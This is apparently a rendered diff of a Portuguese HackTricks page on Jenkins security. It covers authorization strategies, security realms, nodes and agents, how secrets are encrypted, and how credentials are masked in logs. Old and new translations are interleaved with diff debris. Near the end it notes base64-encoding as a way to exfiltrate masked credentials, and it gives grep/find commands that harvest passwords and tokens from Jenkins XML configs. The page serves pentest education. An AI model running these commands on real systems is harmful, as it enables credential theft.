- **Matrix-based security**: Você pode configurar **quem pode fazer o quê** em uma tabela. Cada **coluna** representa uma **permissão**. Cada **linha** **representa** um **usuário ou um grupo/role.** Isto inclui um usuário especial '**anonymous**', que representa **usuários não autenticados**, assim como '**authenticated**', que representa **todos os usuários autenticados**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Estratégia de Autorização Baseada em Projeto:** Este modo é uma **extensão** da "**segurança baseada em matriz**" que permite que uma matriz ACL adicional seja **definida para cada projeto separadamente.**
|
||||
- **Estratégia Baseada em Função:** Permite definir autorizações usando uma **estratégia baseada em função**. Gerencie as funções em `/role-strategy`.
|
||||
- **Project-based Matrix Authorization Strategy:** Este modo é uma **extensão** da "**Matrix-based security**" que permite que matrizes ACL adicionais sejam **definidas para cada projeto separadamente.**
|
||||
- **Role-Based Strategy:** Permite definir autorizações usando uma **estratégia baseada em roles**. Gerencie as roles em `/role-strategy`.
|
||||
|
||||
## **Reino de Segurança**
|
||||
## **Domínio de Segurança**
|
||||
|
||||
Em `/configureSecurity` é possível **configurar o reino de segurança.** Por padrão, o Jenkins inclui suporte para alguns Reinos de Segurança diferentes:
|
||||
Em `/configureSecurity` é possível **configurar o security realm.** Por padrão o Jenkins inclui suporte para alguns Security Realms diferentes:
|
||||
|
||||
- **Delegar para o contêiner de servlet**: Para **delegar a autenticação a um contêiner de servlet que executa o controlador Jenkins**, como [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Banco de dados de usuários do Jenkins:** Use **o próprio armazenamento de dados de usuários embutido do Jenkins** para autenticação em vez de delegar a um sistema externo. Isso é habilitado por padrão.
|
||||
- **LDAP**: Delegar toda a autenticação a um servidor LDAP configurado, incluindo usuários e grupos.
|
||||
- **Banco de dados de usuários/grupos Unix**: **Delegar a autenticação ao banco de dados de usuários** do sistema operacional Unix subjacente no controlador Jenkins. Este modo também permitirá a reutilização de grupos Unix para autorização.
|
||||
- **Delegate to servlet container**: Para **delegar a autenticação a um servlet container que esteja executando o Jenkins controller**, como [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **o próprio repositório de usuários embutido do Jenkins** para autenticação em vez de delegar a um sistema externo. Isto vem ativado por padrão.
|
||||
- **LDAP**: Delegue toda a autenticação a um servidor LDAP configurado, incluindo tanto usuários quanto grupos.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database no controller Jenkins. Este modo também permitirá reuso de grupos Unix para autorização.
|
||||
|
||||
Plugins podem fornecer reinos de segurança adicionais que podem ser úteis para incorporar o Jenkins em sistemas de identidade existentes, como:
|
||||
Plugins podem fornecer realms de segurança adicionais que podem ser úteis para incorporar o Jenkins em sistemas de identidade existentes, tais como:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [Autenticação GitHub](https://plugins.jenkins.io/github-oauth)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Nós, Agentes e Executores do Jenkins
|
||||
## Nós, Agentes & Executors do Jenkins
|
||||
|
||||
Definições das [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Nós** são as **máquinas** nas quais os **agentes de construção** são executados. O Jenkins monitora cada nó conectado em relação ao espaço em disco, espaço temporário livre, swap livre, hora/sincronização do relógio e tempo de resposta. Um nó é desconectado se qualquer um desses valores ultrapassar o limite configurado.
|
||||
**Nodes** são as **máquinas** nas quais os build **agents rodam**. O Jenkins monitora cada node anexado por espaço em disco, espaço temp livre, swap livre, tempo do relógio/sincronização e tempo de resposta. Um node é colocado offline se qualquer um desses valores sair dos limites configurados.
|
||||
|
||||
**Agentes** **gerenciam** a **execução de tarefas** em nome do controlador Jenkins **usando executores**. Um agente pode usar qualquer sistema operacional que suporte Java. Ferramentas necessárias para construções e testes são instaladas no nó onde o agente é executado; elas podem **ser instaladas diretamente ou em um contêiner** (Docker ou Kubernetes). Cada **agente é efetivamente um processo com seu próprio PID** na máquina host.
|
||||
**Agents** **gerenciam** a **execução de tarefas** em nome do Jenkins controller usando **executors**. Um agent pode usar qualquer sistema operacional que suporte Java. Ferramentas requeridas para builds e testes são instaladas no node onde o agent roda; elas podem **ser instaladas diretamente ou em um container** (Docker ou Kubernetes). Cada **agent é efetivamente um processo com seu próprio PID** na máquina host.
|
||||
|
||||
Um **executor** é um **slot para execução de tarefas**; efetivamente, é **uma thread no agente**. O **número de executores** em um nó define o número de **tarefas concorrentes** que podem ser executadas nesse nó ao mesmo tempo. Em outras palavras, isso determina o **número de `stages` de Pipeline concorrentes** que podem ser executados nesse nó ao mesmo tempo.
|
||||
Um **executor** é um **slot para execução de tarefas**; efetivamente, é **uma thread no agent**. O **número de executors** em um node define o número de **tarefas concorrentes** que podem ser executadas naquele node ao mesmo tempo. Em outras palavras, isto determina o **número de Pipeline `stages` concorrentes** que podem executar naquele node ao mesmo tempo.
|
||||
|
||||
## Segredos do Jenkins
|
||||
|
||||
### Criptografia de Segredos e Credenciais
|
||||
|
||||
Definição das [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): O Jenkins usa **AES para criptografar e proteger segredos**, credenciais e suas respectivas chaves de criptografia. Essas chaves de criptografia são armazenadas em `$JENKINS_HOME/secrets/` junto com a chave mestre usada para proteger essas chaves. Este diretório deve ser configurado para que apenas o usuário do sistema operacional sob o qual o controlador Jenkins está sendo executado tenha acesso de leitura e gravação a este diretório (ou seja, um valor `chmod` de `0700` ou usando atributos de arquivo apropriados). A **chave mestre** (às vezes referida como "chave de criptografia" em jargão criptográfico) é **armazenada \_não criptografada\_** no sistema de arquivos do controlador Jenkins em **`$JENKINS_HOME/secrets/master.key`** que não protege contra atacantes com acesso direto a esse arquivo. A maioria dos usuários e desenvolvedores usará essas chaves de criptografia indiretamente, seja através da API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para criptografar dados secretos genéricos ou através da API de credenciais. Para os curiosos sobre criptografia, o Jenkins usa AES no modo de encadeamento de bloco de cifra (CBC) com preenchimento PKCS#5 e IVs aleatórios para criptografar instâncias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que são armazenadas em `$JENKINS_HOME/secrets/` com um nome de arquivo correspondente ao seu id de `CryptoConfidentialKey`. IDs de chave comuns incluem:
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): O Jenkins usa **AES para criptografar e proteger secrets**, credenciais e suas respectivas chaves de criptografia. Essas chaves de criptografia são armazenadas em `$JENKINS_HOME/secrets/` junto com a master key usada para proteger tais chaves. Este diretório deve ser configurado para que somente o usuário do sistema operacional com o qual o Jenkins controller está rodando tenha acesso de leitura e escrita a este diretório (por exemplo, um valor `chmod` de `0700` ou usando atributos de arquivo apropriados). A **master key** (às vezes referida como "key encryption key" em jargão cripto) é **stored \_unencrypted**\_ no filesystem do Jenkins controller em **`$JENKINS_HOME/secrets/master.key`** o que não protege contra atacantes com acesso direto a esse arquivo. A maioria dos usuários e desenvolvedores usará essas chaves de criptografia indiretamente via a API [Secret] para criptografar dados secretos genéricos ou através da credentials API. Para os cripto-curiosos, o Jenkins usa AES em modo CBC com padding PKCS#5 e IVs randômicos para criptografar instâncias de [CryptoConfidentialKey] que são armazenadas em `$JENKINS_HOME/secrets/` com um nome de arquivo correspondente ao id de seu `CryptoConfidentialKey`. IDs comuns de chave incluem:
|
||||
|
||||
- `hudson.util.Secret`: usado para segredos genéricos;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: usado para alguns tipos de credenciais;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: usado pelo [mecanismo de proteção CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); e
|
||||
- `hudson.util.Secret`: usado para secrets genéricos;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: usado por alguns tipos de credenciais;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: usado pelo [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); e
|
||||
|
||||
### Acesso a Credenciais
|
||||
|
||||
As credenciais podem ser **escopadas para provedores globais** (`/credentials/`) que podem ser acessados por qualquer projeto configurado, ou podem ser escopadas para **projetos específicos** (`/job/<project-name>/configure`) e, portanto, acessíveis apenas a partir do projeto específico.
|
||||
As credenciais podem ser **escopadas a provedores globais** (`/credentials/`) que podem ser acessados por qualquer projeto configurado, ou podem ser escopadas a **projetos específicos** (`/job/<project-name>/configure`) e, portanto, apenas acessíveis a partir do projeto específico.
|
||||
|
||||
De acordo com [**as docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credenciais que estão em escopo são disponibilizadas para o pipeline sem limitações. Para **evitar exposição acidental no log de construção**, as credenciais são **mascaradas** da saída regular, de modo que uma invocação de `env` (Linux) ou `set` (Windows), ou programas que imprimem seu ambiente ou parâmetros **não as revelariam no log de construção** para usuários que não teriam acesso às credenciais.
|
||||
De acordo com [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credenciais que estão no escopo são disponibilizadas para o pipeline sem limitação. Para **prevenir exposição acidental no log do build**, credenciais são **mascaradas** na saída regular, então uma invocação de `env` (Linux) ou `set` (Windows), ou programas que imprimem seu ambiente ou parâmetros **não as revelariam no log do build** para usuários que de outra forma não teriam acesso às credenciais.
|
||||
|
||||
**É por isso que, para exfiltrar as credenciais, um atacante precisa, por exemplo, codificá-las em base64.**
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
|
||||
### Segredos em configs de plugin/job no disco
|
||||
|
||||
Do not assume secrets are only in `credentials.xml`. Muitos plugins persistem secrets em seu **próprio XML global** sob `$JENKINS_HOME/*.xml` ou em por-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, às vezes até em plaintext (o mascaramento na UI não garante armazenamento criptografado). Se você obtiver acesso de leitura ao filesystem, enumere esses XMLs e procure por tags óbvias de secret.
|
||||
```bash
|
||||
# Global plugin configs
|
||||
ls -l /var/lib/jenkins/*.xml
|
||||
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
|
||||
|
||||
# Per-job configs
|
||||
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
@@ -90,5 +101,6 @@ De acordo com [**as docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
|
||||
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
|
||||
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user